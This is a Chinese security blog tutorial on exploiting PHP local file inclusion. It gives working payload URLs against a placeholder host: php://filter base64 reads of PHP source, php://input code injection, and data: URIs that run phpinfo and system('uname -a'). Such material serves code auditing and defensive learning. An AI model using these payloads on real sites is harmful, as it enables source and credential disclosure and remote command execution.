您的位置 » 首页 » 代码审计 » 代码审计:php LFI读php文件源码以及直接post webshell

代码审计:php LFI读php文件源码以及直接post webshell

发表于4年前 | 作者: seay | 分类: 代码审计 | 孵化于:2013年06月03日 | 文章热度:16,988 次 全屏阅读

显示不全请点击全屏阅读

最近在完善代码审计工具,丢博客给代码审计新手科普下

 

最近在忙defcon的题目集训 其中有一套题目里 有个老外写的writeup中提到了LFI的另一种小技巧 

原文请参考 http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

PS: 该技巧并不是新的技术 神牛肯定已经用得觉得无聊了 所以当路过就行了 =_,=~ 

       我等小菜仅仅当做自己知识的补充~ (默默蹲墙角ing~)

 

假设如下一个场景

(1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞)  

(2) 但是你没有地方可以upload你的webshell代码   
(3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花)  
(4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去                  
  
【现在的问题是】 LFI如何读取到php文件的源码?

 

于是给大家做个演示 如果我正常用LFI去读/sqli/db.php文件 是无法读取它的源码 它会被当做php文件被执行

 

http://vulnerable/fileincl/example1.php?page=../sqli/db.php
 

但是如果我用老外文章里说提到的方法 就能把指定php文件的源码以base64方式编码并被显示出来 

http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php

/sqli/db.php源码base64编码后的内容显示如下

PD9waHAgCiAgJGxuayA9IG15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsICJwZW50ZXN0ZXJsYWIiLCAicGVudGVzdGVybGFiIik7CiAgJGRiID0gbXlzcWxfc2VsZWN0X2RiKCdleGVyY2lzZXMnLCAkbG5rKTsKPz4K然后我们再去进行base64解码 解码后/sqli/db.php文件的源码一览无遗

看上去好像很厉害的样子…… 但是 =_,=||~ 再继续看下文~

 

******************* 我是邪恶的分割线 *******************

 

被 @扣子牛 bs了一番 又学到新的小技巧

【技巧】php://input 和 data:

php://input 详情可以参考

http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html

【条件】在allow_url_include = On 且 PHP >= 5.2.0

【优势】直接POST php代码并执行 

【鸡肋】在allow_url_include = On 传说中就可以直接RFI了 不过没有vps的童鞋可以这样玩比较方便

 

在上面提到的同一个LFI漏洞点 我们又要来爆它一次菊花

http://vulnerable/fileincl/example1.php?page=intro.php

访问如下URL并用burp直接修改HTTP包 追加php命令代码

1
http://vulnerable/fileincl/example1.php?page=php://input

然后某君再一次被爆菊 >_<!~ (对不起~)

再换几种姿势继续  data: 的方式

1
2
3
http://vulnerable/fileincl/example1.php?page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=   
http://vulnerable/fileincl/example1.php?page=data:;base64,PD9waHBpbmZvKCk7Lyo=  
http://vulnerable/fileincl/example1.php?page=data:text/plain,<?php system(“uname -a”);?>

 

剩下的大家再继续YY吧~

由于时间关系 我也木有时间去深入了解其原理 

为了Hacker精神建议大家去深入研究下 >_<!~ 

 

作者:CasperKid

Tags:

代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2937/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

  • 小北 说:
    1楼
    2016 年 4 月 1 日 下午 10:07 回复

    博主,哪有defcon的题目集训啊

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)